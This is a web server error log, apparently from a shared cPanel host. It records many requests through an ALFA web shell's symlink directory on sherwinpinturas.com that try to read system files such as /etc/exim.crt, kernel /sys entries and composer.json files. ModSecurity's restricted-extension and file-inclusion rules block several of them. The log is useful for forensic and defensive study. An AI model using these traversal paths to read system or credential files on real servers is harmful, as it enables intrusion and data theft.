[Sun Oct 25 18:32:45.077442 2026] [security2:error] [pid 2914701:tid 2914701] [client 70.160.223.149:55161] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at6DjXlWo7mdOcp1-MVuaQAAAA8"]
[Sun Oct 25 18:32:45.078057 2026] [security2:error] [pid 2914701:tid 2914701] [client 70.160.223.149:55161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at6DjXlWo7mdOcp1-MVuaQAAAA8"]
[Sun Oct 25 18:32:45.078436 2026] [security2:error] [pid 2914701:tid 2914701] [client 70.160.223.149:55161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at6DjXlWo7mdOcp1-MVuaQAAAA8"]
[Sun Oct 25 18:32:54.251226 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 100.29.164.178:55250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:58.137177 2026] [ssl:error] [pid 2914415:tid 2914415] (70014)End of file found: [client 44.210.204.255:49338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:02.151287 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.197.178.107:39016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:14.293701 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 3.90.73.206:49454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:19.596463 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.1:52128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/aliases
[Sun Oct 25 18:33:22.131891 2026] [ssl:error] [pid 2914415:tid 2914415] (70014)End of file found: [client 18.209.137.234:31942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:25.437674 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 41.188.117.144:56411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects
[Sun Oct 25 18:33:26.150121 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 52.204.37.237:23683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:27.426845 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 178.136.107.252:34036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects
[Sun Oct 25 18:33:29.430493 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 172.59.91.142:4475] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects
[Sun Oct 25 18:33:33.210936 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 38.252.49.108:47550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/aliases
[Sun Oct 25 18:33:34.192289 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 18.214.138.148:31881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:38.481213 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 154.121.43.36:51973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/align
[Sun Oct 25 18:33:41.520837 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 131.0.213.56:43951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/align
[Sun Oct 25 18:33:42.122071 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 52.4.229.9:23772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:44.084983 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 102.211.145.169:36622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/align
[Sun Oct 25 18:33:44.403001 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 170.79.186.0:10394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/aliases
[Sun Oct 25 18:33:49.956215 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 62.29.16.96:55572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/hwcache_align
[Sun Oct 25 18:33:52.011753 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 50.89.128.23:55068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/hwcache_align
[Sun Oct 25 18:33:54.119140 2026] [ssl:error] [pid 2914415:tid 2914415] (70014)End of file found: [client 107.22.208.39:60253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:33:58.114151 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.156.124.2:18335] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:34:01.603360 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 65.35.50.183:50826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/remote_node_defrag_ratio
[Sun Oct 25 18:34:06.213834 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 100.24.167.60:59124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/bind
[Sun Oct 25 18:34:07.830109 2026] [security2:error] [pid 2910679:tid 2910679] [client 185.191.171.13:47072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/freetype2/freetype/ftpfr.h"] [unique_id "at6D39Y9M16TKcRp9n2dXgAAAAQ"]
[Sun Oct 25 18:34:07.830189 2026] [security2:error] [pid 2910679:tid 2910679] [client 185.191.171.13:47072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/freetype2/freetype/ftpfr.h"] [unique_id "at6D39Y9M16TKcRp9n2dXgAAAAQ"]
[Sun Oct 25 18:34:10.147042 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 18.208.11.93:21647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:34:10.413654 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 186.84.89.118:9314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/remote_node_defrag_ratio
[Sun Oct 25 18:34:13.641507 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 197.207.9.19:42840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/remote_node_defrag_ratio
[Sun Oct 25 18:34:14.788204 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6D2Qyydx1uvQyMj1dhewAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:34:14.788256 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6D2Qyydx1uvQyMj1dhewAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:34:22.305157 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 3.211.105.134:52087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/inode_cache/object_size
[Sun Oct 25 18:34:23.824086 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 85.208.96.196:22678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:34:35.777654 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 185.191.171.7:15158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_REDIRECT/sections/__jump_table
[Sun Oct 25 18:34:41.769944 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.137.36.146:20208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/object_size
[Sun Oct 25 18:34:41.770442 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.137.36.146:20208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/object_size"] [unique_id "at6EAR8fO9KwLgqLGMRCxgAAAAc"]
[Sun Oct 25 18:34:41.770466 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.137.36.146:20208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/object_size"] [unique_id "at6EAR8fO9KwLgqLGMRCxgAAAAc"]
[Sun Oct 25 18:34:42.330370 2026] [security2:error] [pid 2910718:tid 2910718] [client 100.29.128.75:10027] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/lib/tuned/hpc-compute/tuned.conf"] [unique_id "at6EAkF-wAa8eV2kTFCf6QAAABA"]
[Sun Oct 25 18:34:42.330804 2026] [security2:error] [pid 2910718:tid 2910718] [client 100.29.128.75:10027] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/lib/tuned/hpc-compute/tuned.conf"] [unique_id "at6EAkF-wAa8eV2kTFCf6QAAABA"]
[Sun Oct 25 18:34:42.331188 2026] [security2:error] [pid 2910718:tid 2910718] [client 100.29.128.75:10027] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/lib/tuned/hpc-compute/tuned.conf"] [unique_id "at6EAkF-wAa8eV2kTFCf6QAAABA"]
[Sun Oct 25 18:34:43.424684 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 68.35.129.175:60014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/object_size
[Sun Oct 25 18:34:50.028235 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 85.208.96.195:26654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/exim.crt
[Sun Oct 25 18:34:54.151325 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.0.105.244:31005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:34:56.955775 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/laravel/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel/composer.json"] [unique_id "at6EEB9aSiuCLVOZQhxLHwAAACg"]
[Sun Oct 25 18:34:56.956058 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel/composer.json"] [unique_id "at6EEB9aSiuCLVOZQhxLHwAAACg"]
[Sun Oct 25 18:34:56.967646 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6EEB9aSiuCLVOZQhxLHwAAACg"]
[Sun Oct 25 18:35:00.047632 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 68.4.34.41:53245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/sanity_checks
[Sun Oct 25 18:35:01.615608 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 74.194.76.205:47816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/sanity_checks
[Sun Oct 25 18:35:02.138318 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 52.204.81.148:2051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:04.087824 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 170.81.211.41:44136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/sanity_checks
[Sun Oct 25 18:35:10.225921 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 34.195.60.66:6423] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:14.172898 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 44.207.252.58:3678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/rom
[Sun Oct 25 18:35:15.072586 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6EF7_lIj1OAY0C3WwdoAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:35:15.072641 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6EF7_lIj1OAY0C3WwdoAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:35:18.152240 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 23.20.178.124:13009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:22.149348 2026] [ssl:error] [pid 2913421:tid 2913421] (5)Input/output error: [client 54.197.82.195:31076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:30.136416 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 54.87.95.7:40620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:30.366044 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 103.76.22.204:49726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/partial
[Sun Oct 25 18:35:32.406055 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 178.57.35.61:50135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/partial
[Sun Oct 25 18:35:34.699593 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 154.182.205.245:41224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/partial
[Sun Oct 25 18:35:38.134244 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.223.116.180:27776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:42.276453 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 216.131.105.215:34656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/hwcache_align
[Sun Oct 25 18:35:44.843838 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 109.107.242.36:55777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/hwcache_align
[Sun Oct 25 18:35:46.230105 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 139.60.89.249:43183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/hwcache_align
[Sun Oct 25 18:35:48.706256 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/laravel8/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel8/composer.json"] [unique_id "at6ERB9aSiuCLVOZQhxLLgAAACg"]
[Sun Oct 25 18:35:48.706634 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel8/composer.json"] [unique_id "at6ERB9aSiuCLVOZQhxLLgAAACg"]
[Sun Oct 25 18:35:48.707693 2026] [security2:error] [pid 2910745:tid 2910745] [client 51.77.216.36:59556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6ERB9aSiuCLVOZQhxLLgAAACg"]
[Sun Oct 25 18:35:50.352717 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 52.0.63.151:42520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:54.135834 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 18.235.158.19:53029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:35:58.164252 2026] [ssl:error] [pid 2914956:tid 2914956] (70014)End of file found: [client 100.28.49.152:16218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:02.142741 2026] [ssl:error] [pid 2912591:tid 2912591] (95)Operation not supported: [client 34.231.156.59:65118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:06.268389 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.157.99.244:47100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:10.146606 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 52.200.58.199:61053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:14.123590 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 52.54.157.23:19394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/vmd/bind
[Sun Oct 25 18:36:18.186862 2026] [ssl:error] [pid 2913421:tid 2913421] (5)Input/output error: [client 52.6.232.201:25433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:19.193063 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 212.34.23.137:36108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/poison
[Sun Oct 25 18:36:22.410724 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 44.205.180.155:59020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:23.027758 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 102.209.109.175:53237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/poison
[Sun Oct 25 18:36:26.125199 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 52.71.216.196:50573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:26.156863 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 196.217.112.88:58432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/poison
[Sun Oct 25 18:36:26.608943 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 117.5.153.164:57127] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/total_objects
[Sun Oct 25 18:36:28.326217 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 47.198.223.100:47641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/total_objects
[Sun Oct 25 18:36:30.128924 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 3.224.215.150:65090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:37.146337 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 41.208.141.121:44838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/total_objects
[Sun Oct 25 18:36:46.313546 2026] [ssl:error] [pid 2914518:tid 2914518] (5)Input/output error: [client 54.157.84.74:35897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:46.965041 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 24.57.239.203:53291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/align
